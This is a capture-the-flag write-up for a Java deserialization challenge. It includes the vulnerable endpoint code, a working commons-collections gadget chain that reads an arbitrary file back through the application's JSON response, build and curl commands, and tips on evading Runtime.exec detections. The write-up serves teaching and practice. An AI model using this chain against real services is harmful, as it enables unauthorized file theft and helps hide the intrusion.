java notes
- Category: pwn
- Difficulty: medium
“I heard Java’s the hot new language on the block. It’s certainly making my CPU hot!”
Filed under pwn, but there is no binary and no memory corruption — it is a Java deserialization gadget-chain challenge. The twist worth writing down is not reaching RCE (commons-collections 3.2.1 on the classpath makes that routine) but avoiding it: the endpoint can be made to hand the flag back in its own JSON response, with no callback host and no blind oracle.
Solution:
1. readObject on attacker bytes, with a known-vulnerable dependency
pom.xml pins the classic:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
and RestoreHandler feeds it base64 straight from the request body:
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(raw))) {
Object obj = ois.readObject(); // <-- the bug
if (obj instanceof Session) {
send(ex, 200, "application/json", sessionJson((Session) obj).getBytes(UTF_8));
} else {
send(ex, 400, "text/plain", "that token is not a session".getBytes(UTF_8));
}
} catch (Exception e) {
send(ex, 400, "text/plain",
("could not restore session: " + e.getClass().getSimpleName()).getBytes(UTF_8));
}
The base image is eclipse-temurin:11, so the CC1 chain is out (AnnotationInvocationHandler was changed in 8u72) but CC6 works. That gets command execution — and then nothing, because the handler only ever returns an exception’s class name, so any Runtime.exec result has to leave the box some other way.
2. The response renderer is a free toString() call
The success path is more useful than the exception path. sessionJson walks the notes list:
b.append('"').append(jsonEscape(String.valueOf(s.notes.get(i)))).append('"');
notes is declared List<String>, but generics are erased — the deserialized list can hold any object, and String.valueOf will call toString() on it. So instead of a chain that executes a command, the chain only has to be one whose toString() returns the file contents, hung off a genuine Session so that obj instanceof Session still passes.
TiedMapEntry.toString() is the lever:
public String toString() { return getKey() + "=" + getValue(); }
public Object getValue() { return map.get(key); }
Backing it with a LazyMap means get() on an absent key runs the map’s factory and returns the result — which lands straight in the string that gets JSON-encoded into the response.
3. A transformer chain that reads a file instead of spawning a shell
Reading a file needs no Runtime at all; Scanner with an \A delimiter slurps the whole thing, and java.io.File is serializable so it can be baked into the payload as a constant:
Transformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Scanner.class),
new InstantiateTransformer(new Class[]{File.class}, new Object[]{new File(path)}),
new InvokerTransformer("useDelimiter", new Class[]{String.class}, new Object[]{"\\A"}),
new InvokerTransformer("next", new Class[0], new Object[0]),
});
Map lazy = LazyMap.decorate(new HashMap(), chain);
List notes = new ArrayList();
notes.add(new TiedMapEntry(lazy, "flag"));
Main.Session s = new Main.Session("pwn", "dark", notes);
ConstantTransformer seeds the chain with Scanner.class, InstantiateTransformer requires its input to be a Class and calls the matching constructor, and the two InvokerTransformers finish the job on the returned object. Nothing executes during readObject here — the chain only fires later, when the response renderer calls toString().
Building the payload needs the server’s own Main$Session class, since the stream carries its name and serialVersionUID. Putting the generator in the same package (com.k17.javanotes) makes the package-private nested class and its constructor reachable:
javac -nowarn -cp cc.jar:cls -d cls src/com/k17/javanotes/Gen.java
java -cp cls:cc.jar com.k17.javanotes.Gen /flag.txt > token.txt
4. The flag comes back in the JSON
Verified first against the server built from the handout, with the path pointed at a local file, then fired at the instance:
$ curl -sS -X POST --data-binary @token.txt https://<instance>/api/restore
{"username":"pwn","theme":"dark","notes":["flag=K17{i_am_java_ONE_with_java!!!!oashd8aghrdfo8aehFIOEASDJFNLC}"]}
The flag= prefix is TiedMapEntry’s key, glued on by its toString().
One useful intermediate signal while building this: a wrong path returns could not restore session: FunctorException. That is InstantiateTransformer wrapping the FileNotFoundException — which means the chain fired correctly and only the filename was wrong. A chain that never triggers fails differently.
Generator: Gen.java
Flag: K17{i_am_java_ONE_with_java!!!!oashd8aghrdfo8aehFIOEASDJFNLC}
Takeaways
- Reach for exfiltration through the application’s own response before reaching for RCE. If any deserialized field is later printed, concatenated or logged, a gadget whose
toString()returns data is simpler than a command-execution chain and needs no outbound network path from the target. List<String>isListat runtime. A field’s declared generic type constrains nothing about what a deserialized object graph may contain, andString.valueOfon an arbitrary element is an attacker-controlledtoString().InstantiateTransformerplus any serializable constructor argument (File,URL,byte[]) constructs arbitrary JDK objects without touchingRuntime, which also keeps the chain clear of the usualRuntime.execdetections.- The exception class name leaking back is enough of an oracle to debug a chain:
FunctorExceptionmeans it ran,ClassNotFoundExceptionmeans the gadget library is not on the classpath,InvalidClassExceptionmeans aserialVersionUIDmismatch.